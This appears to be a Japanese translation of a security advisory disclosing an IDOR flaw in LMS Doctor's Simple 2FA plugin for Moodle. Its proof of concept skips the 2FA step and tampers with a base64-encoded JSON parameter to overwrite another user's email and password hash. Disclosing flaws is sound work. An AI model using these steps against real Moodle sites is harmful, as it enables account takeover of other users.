
LMS Doctor 製の「Simple 2FA Plugin for Moodle」における安全でない直接オブジェクト参照(IDOR)の脆弱性
LMS Doctor による「Moodle 用 Simple 2FA プラグイン」における安全でない直接オブジェクト参照 (IDOR) の脆弱性
脆弱性の詳細
リスク: 重大 (Critical)
ベンダー: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
報告者: Flaviu Popescu
説明: LMS Doctor による「Moodle 用 Simple 2FA プラグイン」には、安全でない直接オブジェクト参照 (IDOR) の脆弱性が存在します。これにより、リモートの攻撃者は他のユーザーアカウントのメールアドレス、パスワード、電話番号などの機微なレコードを更新することができます。
概念実証:
自己登録したアカウント (dionach.tester) を使用した初期ログインプロセス:
POST /login/index.php

2FA プロンプトが表示されたら、攻撃者は 2FA コードを入力する代わりに以下の URL へ強制ブラウズします。
POST /auth/simple2fa/profile.php

このリクエストは Burp Suite で取得されます:

パラメータ「u」には base64 エンコードされた文字列が含まれています。この文字列をデコードすると、以下に示す JSON 形式のデータが明らかになります:

攻撃者は JSON データを改ざんし、id、電子メール、パスワード、名前を変更します。JSON データは再び base64 にエンコードされ、Burp Suite で更新されてサーバーに転送されます。
パスワードの新しいハッシュの生成:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
改変されたデータのスニペット:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
その結果、被害者のアカウント (ID 8045、dionach.tester2) が以下のように更新されます:
